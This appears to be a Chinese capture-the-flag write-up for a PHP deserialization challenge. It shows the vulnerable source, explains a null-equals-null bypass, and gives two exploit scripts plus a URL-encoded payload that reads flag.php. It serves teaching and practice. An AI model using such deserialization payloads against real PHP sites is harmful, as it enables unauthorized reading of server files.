打開場景,顯示源碼
<?php include 'flag.php'; class pkshow { function echo_name() { return "Pk very safe^.^"; } } class acp { protected $cinder; public $neutron; public $nova; function __construct() { $this->cinder = new pkshow; } function __toString() { if (isset($this->cinder)) return $this->cinder->echo_name(); } } class ace { public $filename; public $openstack; public $docker; function echo_name() { $this->openstack = unserialize($this->docker); $this->openstack->neutron = $heat; if($this->openstack->neutron === $this->openstack->nova) { $file = "./{$this->filename}"; if (file_get_contents($file)) { return file_get_contents($file); } else { return "keystone lost~"; } } } } if (isset($_GET['pks'])) { $logData = unserialize($_GET['pks']); echo $logData; } else { highlight_file(__file__); } ?>
本題考查反序列化,關鍵是繞過這里
if($this->openstack->neutron === $this->openstack->nova)
繞過方式是使用NULL===NULL
由於這里
$this->openstack = unserialize($this->docker);
當docker為空時,this->openstack自然為空對象,則$this->openstack->neutron === $this->openstack->nova
兩側都為null自然可繞過。
測試
<?php $a=""; $b=unserialize($a); var_dump($b);//bool(false) var_dump($a->sss);//報異常並返回null var_dump($a->ttt->xxx===null);//bool(true) ?>
構造exp:
<?php class acp { public $cinder; public $neutron; public $nova; } class ace { public $filename; public $openstack; public $docker; } $b=new acp; $c=new ace; $b->cinder=$c; $c->docker=''; $c->filename='/flag.php'; echo urlencode(serialize($b)); ?> payload: ?pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A6%3A%22cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A9%3A%22%2Fflag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A0%3A%22%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
exp2:
<?php class acp { protected $cinder; public $neutron; public $nova; function __construct($cinder){ $this->nova = &$this->neutron; $this->cinder = $cinder; } } class ace { public $filename = "flag.php"; public $openstack; public $docker; function __construct($docker){ $this->docker = $docker; } } echo urlencode(serialize(new acp(new ace(serialize(new acp(""))))));
在源碼發現flag
參考:
https://blog.csdn.net/qq_53863234/article/details/121622314
https://blog.csdn.net/meteox/article/details/120391682